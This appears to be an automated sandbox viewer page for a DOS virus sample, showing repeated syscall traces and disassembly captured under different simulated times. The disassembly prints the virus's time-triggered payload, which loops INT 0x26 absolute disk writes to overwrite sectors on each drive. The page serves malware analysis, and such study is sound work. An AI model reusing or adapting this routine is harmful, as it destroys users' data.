Sample viewer

vx.netlux.org/Virus.DOS.Riot.Sturm.410

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:16:21.662489633Z 44 PC: 12a81 | Get time 0x12a81: cmp dl, 2
0x12a84: je 0x12a92
0x12a86: mov ah, 0x2a
0x12a88: cmp dl, 2
0x12a8b: je 0x12a92
0x12a8d: cmp cl, 0x3b
0x12a90: jne 0x12aa5
0x12a92: mov al, 2
0x12a94: mov cx, 1
0x12a97: lea bx, word ptr [bp + 0x141]
0x12a9b: cdq
0x12a9c: int 0x26
0x12a9e: inc cx
0x12a9f: jae 0x12a9c
0x12aa1: inc al
0x12aa3: jmp 0x12a94
0x12aa5: mov ax, es
0x12aa7: add ax, 0x10
0x12aaa: add ax, word ptr cs:[bp + 0x194]
0x12aaf: push ax
2018-12-17T22:16:21.664858024Z 26 PC: 12ac0 | Set disk transfer address
2018-12-17T22:16:21.666717756Z 25 PC: 12ac4 | Get default drive
2018-12-17T22:16:21.66802432Z 26 PC: 12b7f | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":2930,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:47:48.556229438Z 44 PC: 12a81 | Get time 0x12a81: cmp dl, 2
0x12a84: je 0x12a92
0x12a86: mov ah, 0x2a
0x12a88: cmp dl, 2
0x12a8b: je 0x12a92
0x12a8d: cmp cl, 0x3b
0x12a90: jne 0x12aa5
0x12a92: mov al, 2
0x12a94: mov cx, 1
0x12a97: lea bx, word ptr [bp + 0x141]
0x12a9b: cdq
0x12a9c: int 0x26
0x12a9e: inc cx
0x12a9f: jae 0x12a9c
0x12aa1: inc al
0x12aa3: jmp 0x12a94
0x12aa5: mov ax, es
0x12aa7: add ax, 0x10
0x12aaa: add ax, word ptr cs:[bp + 0x194]
0x12aaf: push ax
2018-12-25T11:47:48.558754517Z 26 PC: 12ac0 | Set disk transfer address
2018-12-25T11:47:48.559890282Z 25 PC: 12ac4 | Get default drive
2018-12-25T11:47:48.561058771Z 26 PC: 12b7f | Set disk transfer address

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":59,"Second":0,"TimeBased":true,"OriginalID":2930,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:47:48.563217443Z 44 PC: 12a81 | Get time 0x12a81: cmp dl, 2
0x12a84: je 0x12a92
0x12a86: mov ah, 0x2a
0x12a88: cmp dl, 2
0x12a8b: je 0x12a92
0x12a8d: cmp cl, 0x3b
0x12a90: jne 0x12aa5
0x12a92: mov al, 2
0x12a94: mov cx, 1
0x12a97: lea bx, word ptr [bp + 0x141]
0x12a9b: cdq
0x12a9c: int 0x26
0x12a9e: inc cx
0x12a9f: jae 0x12a9c
0x12aa1: inc al
0x12aa3: jmp 0x12a94
0x12aa5: mov ax, es
0x12aa7: add ax, 0x10
0x12aaa: add ax, word ptr cs:[bp + 0x194]
0x12aaf: push ax
2018-12-25T11:47:48.65011756Z 44 PC: 12a81 | Get time (See above)